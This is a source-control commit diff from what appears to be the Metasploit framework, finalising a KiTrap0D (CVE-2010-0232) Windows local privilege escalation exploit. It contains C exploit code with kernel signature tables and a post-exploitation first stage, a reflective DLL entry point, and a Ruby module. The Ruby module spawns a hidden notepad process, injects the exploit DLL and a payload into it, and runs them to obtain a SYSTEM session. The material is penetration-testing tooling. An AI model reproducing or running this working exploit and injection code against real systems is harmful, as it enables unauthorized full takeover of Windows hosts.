Finalise the local exploit for kitrap0d
The exploit now properly injects the DLL using RDI and invokes the exploit based on a parameter passed by the Ruby module. The elevate code is 'generic' with a goal of possibly supporting more exploits down the track. New sessions are now created with the SYSTEM creds, rather than modifying the existing session. This is now inline with how things are done with other local modules.bug/bundler_fix
parent
82739c0315
commit
40f58ce534
Binary file not shown.
|
@ -1,6 +1,19 @@
|
|||
/*!
|
||||
* @file ResourceLoader.c
|
||||
* @brief Helper functions for loading embedded resources.
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include "common.h"
|
||||
|
||||
/*!
|
||||
* @brief Load a resource from the given module as a raw array of bytes.
|
||||
* @param hModule Handle to the module containing the resource.
|
||||
* @param uResourceId ID of the resource to load.
|
||||
* @param lpType The type of resource being loaded.
|
||||
* @param pBuffer Pointer to the buffer that will receive the loaded resource.
|
||||
* @param pBufferSize Pointer to the variable that will receive the size of \c pBuffer.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize)
|
||||
{
|
||||
DWORD dwResult = FALSE;
|
||||
|
@ -61,9 +74,15 @@ DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPB
|
|||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Free up memory that was allocated when loading the resource.
|
||||
* @param lpBuffer Pointer to the allocated buffer.
|
||||
* @returns \c ERROR_SUCCESS
|
||||
*/
|
||||
DWORD resource_destroy(LPBYTE lpBuffer)
|
||||
{
|
||||
if (lpBuffer != NULL) {
|
||||
if (lpBuffer != NULL)
|
||||
{
|
||||
free(lpBuffer);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
|
|
|
@ -1,3 +1,7 @@
|
|||
/*!
|
||||
* @file ResourceLoader.h
|
||||
* @brief Declarations of helper functions for loading embedded resources.
|
||||
*/
|
||||
#ifndef _ESCALATE_RESOURCELOADER_H
|
||||
#define _ESCALATE_RESOURCELOADER_H
|
||||
|
||||
|
|
|
@ -3,27 +3,46 @@
|
|||
* @brief Entry point and intialisation definitions for the elevation exploit.
|
||||
*/
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../common/ReflectiveLoader.c"
|
||||
|
||||
#include "elevate.h"
|
||||
#include "../common/common.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
/*! @brief ID that is used by the caller when the KiTrap0D exploit is to be run. */
|
||||
#define RUN_EXPLOIT_KITRAP0D 31337
|
||||
|
||||
/*!
|
||||
* @brief Entry point to the exploit DLL.
|
||||
* @param hinstDLL Reference to the DLL's module.
|
||||
* @param dwReason The reason code for the invocation.
|
||||
* @param lpReserved A reserved value, used by the exploit code.
|
||||
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
|
||||
* @returns \c TRUE all the time.
|
||||
* @remark The \c lpReserved value contains a number which identifies which
|
||||
* exploit to invoke. This needs to be passed in from MSF, otherwise
|
||||
* no exploit funtionality will be invoked.
|
||||
*/
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
DWORD dwExploit = 0;
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
|
||||
dwExploit = (DWORD)lpReserved;
|
||||
if (dwExploit == RUN_EXPLOIT_KITRAP0D) {
|
||||
elevate_via_exploit_kitrap0d(hinstDLL);
|
||||
}
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL) {
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
elevate_via_exploit_kitrap0d(hAppInstance);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
|
|
|
@ -1,8 +0,0 @@
|
|||
/*!
|
||||
* @file elevate.h
|
||||
* @brief Entry point and intialisation declarations for the elevation exploit.
|
||||
*/
|
||||
#ifndef _ELEVATE_ELEVATE_H
|
||||
#define _ELEVATE_ELEVATE_H
|
||||
|
||||
#endif
|
|
@ -84,6 +84,9 @@
|
|||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
|
@ -116,6 +119,9 @@
|
|||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
|
@ -164,9 +170,12 @@
|
|||
<ImportLibrary>$(OutDir)\elevate.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
|
@ -209,6 +218,9 @@
|
|||
<ImportLibrary>$(OutDir)\elevate.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
|
|
|
@ -8,7 +8,6 @@
|
|||
* - Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "../common/common.h"
|
||||
|
@ -17,7 +16,40 @@
|
|||
#include "resource.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief List of code signatures used when searching kernel memory.
|
||||
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
*/
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
|
@ -274,8 +306,6 @@ BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
|
|||
|
||||
/*!
|
||||
* @breif Entry point for the KiTrap0D exploit.
|
||||
* @param hElevateModule Handle to the freshly-loaded elevate.dll module that contains
|
||||
* the embedded kitrap0d.dll resource.
|
||||
* @remark This is known as CVE-2010-0232.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The exploit worked as expected.
|
||||
|
@ -299,7 +329,7 @@ DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule)
|
|||
|
||||
do
|
||||
{
|
||||
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting...");
|
||||
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
|
||||
|
||||
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
||||
|
|
|
@ -1,36 +1,9 @@
|
|||
/*!
|
||||
* @file kitrap0d.h
|
||||
*/
|
||||
#ifndef _ELEVATE_KITRAP0D_KITRAP0D_H
|
||||
#define _ELEVATE_KITRAP0D_KITRAP0D_H
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule);
|
||||
|
||||
#endif
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmexploit.c).
|
||||
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
/*!
|
||||
* @file kitrap0d.c
|
||||
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
*/
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS
|
||||
|
@ -28,15 +31,17 @@ VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
|||
|
||||
#else
|
||||
|
||||
/*
|
||||
* The global variables used...
|
||||
*/
|
||||
/*! * @brief Global target process ID. */
|
||||
static DWORD dwTargetProcessId = 0;
|
||||
/*! * @brief Global pointer to the kernel stack. */
|
||||
static DWORD * lpKernelStackPointer = NULL;
|
||||
/*! * @brief Global reference to the kernel itself. */
|
||||
static HMODULE hKernel = NULL;
|
||||
|
||||
/*
|
||||
* Find an exported kernel symbol by name.
|
||||
/*!
|
||||
* @brief Find an exported kernel symbol by name.
|
||||
* @param SymbolName The name of the symbol to find.
|
||||
* @returns Pointer to the symbol, if found.
|
||||
*/
|
||||
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
|
||||
{
|
||||
|
@ -75,8 +80,8 @@ PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
|
|||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Replace a value if it falls between a given range.
|
||||
/*!
|
||||
* @brief Replace a value if it falls between a given range.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
|
||||
{
|
||||
|
@ -89,8 +94,8 @@ BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD r
|
|||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search the specified data structure for a member with CurrentValue.
|
||||
/*!
|
||||
* @brief Search the specified data structure for a member with CurrentValue.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
|
||||
{
|
||||
|
@ -119,8 +124,8 @@ BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWO
|
|||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* This routine is where we land after successfully triggering the vulnerability.
|
||||
/*!
|
||||
* @brief This routine is where we land after successfully triggering the vulnerability.
|
||||
*/
|
||||
#pragma warning(disable: 4731)
|
||||
VOID elevator_kitrap0d_firststage(VOID)
|
||||
|
@ -226,8 +231,8 @@ VOID elevator_kitrap0d_firststage(VOID)
|
|||
}
|
||||
#pragma warning(default: 4731)
|
||||
|
||||
/*
|
||||
* Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
/*!
|
||||
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
*/
|
||||
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
|
||||
{
|
||||
|
@ -289,8 +294,8 @@ BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
|
|||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* (CVE-2010-0232)
|
||||
/*!
|
||||
* @brief CVE-2010-0232 implementation.
|
||||
*/
|
||||
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
|
||||
{
|
||||
|
|
|
@ -1,5 +0,0 @@
|
|||
LIBRARY kitrap0d
|
||||
|
||||
EXPORTS
|
||||
|
||||
a
|
|
@ -1,3 +1,7 @@
|
|||
/*!
|
||||
* @file kitrap0d.h
|
||||
*/
|
||||
|
||||
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
|
||||
|
|
|
@ -160,7 +160,7 @@
|
|||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
|
|
|
@ -121,6 +121,7 @@ VOID elevator_main(char * cpCommandLine)
|
|||
|
||||
/*!
|
||||
* @brief rundll32.exe entry point.
|
||||
* @todo Remove this?
|
||||
*/
|
||||
VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)
|
||||
{
|
||||
|
|
|
@ -5,21 +5,29 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
# TODO: ask Juan/Sinner/Wvu what this should be
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
|
||||
# Down the track when other exploits use this method they
|
||||
# have their own ID that the elevate DLL will check for.
|
||||
EXPLOIT_KITRAP0D_ID = 31337
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows SYSTEM escalation via KiTrap0D',
|
||||
'Description' => %q{
|
||||
This module will elevate the privileges of the specified session SYSTEM
|
||||
using the KiTrap0D exploit by Tavis Ormandy. If the sessions is already
|
||||
elevated, the exploit will not run.
|
||||
This module will create a new session with SYSTEM privileges via the
|
||||
KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
|
||||
elevated then the exploit will not run. The module relies on elevate.x86.dll,
|
||||
located in the data/post folder and it does not support 64-bit versions of
|
||||
Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
|
@ -70,20 +78,55 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
end
|
||||
|
||||
dll = ''
|
||||
offset = nil
|
||||
|
||||
print_status("Launching notepad to host the exploit...")
|
||||
cmd = "notepad.exe"
|
||||
opts = {'Hidden' => true}
|
||||
process = client.sys.process.execute(cmd, nil, opts)
|
||||
pid = process.pid
|
||||
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{pid} launched.")
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL into #{pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "post", "elevate.x86.dll")
|
||||
target_path = "elevate#{rand(100000).to_s}.dll"
|
||||
library_path = ::File.expand_path(library_path)
|
||||
::File.open(library_path, 'rb') { |f| dll = f.read }
|
||||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
|
||||
pe.exports.entries.each do |e|
|
||||
if e.name =~ /^\S*ReflectiveLoader\S*/
|
||||
offset = pe.rva_to_file_offset(e.rva)
|
||||
break
|
||||
end
|
||||
end
|
||||
# Inject the exloit, but don't run it yet.
|
||||
exploit_mem = inject_into_pid(dll, host_process)
|
||||
|
||||
load_options = {
|
||||
'LibraryFilePath' => ::File.expand_path(library_path),
|
||||
'TargetFilePath' => target_path,
|
||||
'UploadLibrary' => true,
|
||||
'SaveToDisk' => false,
|
||||
'Extension' => false
|
||||
}
|
||||
print_status("Exploit injected. Injecting payload into #{pid}...")
|
||||
# Inject the payload prior to running the exploit so that
|
||||
# we avoid permission problems
|
||||
payload_mem = inject_into_pid(payload.encoded, host_process)
|
||||
|
||||
print_status("Uploading elevation binary and running the KiTrap0d exploit...")
|
||||
client.core.load_library(load_options)
|
||||
print_status("Payload injected. Executing exploit...")
|
||||
# invoke the exploit, passing in the ID of KiTrap0D
|
||||
host_process.thread.create(exploit_mem + offset, EXPLOIT_KITRAP0D_ID)
|
||||
|
||||
print_status("Exploit executed. Executing payload...")
|
||||
# Finally run our payload
|
||||
host_process.thread.create(payload_mem, 0)
|
||||
print_good("Exploit successful.")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def inject_into_pid(payload, process)
|
||||
payload_size = payload.length + 1024 - (payload.length % 1024)
|
||||
payload_mem = process.memory.allocate(payload_size)
|
||||
process.memory.protect(payload_mem)
|
||||
process.memory.write(payload_mem, payload)
|
||||
return payload_mem
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue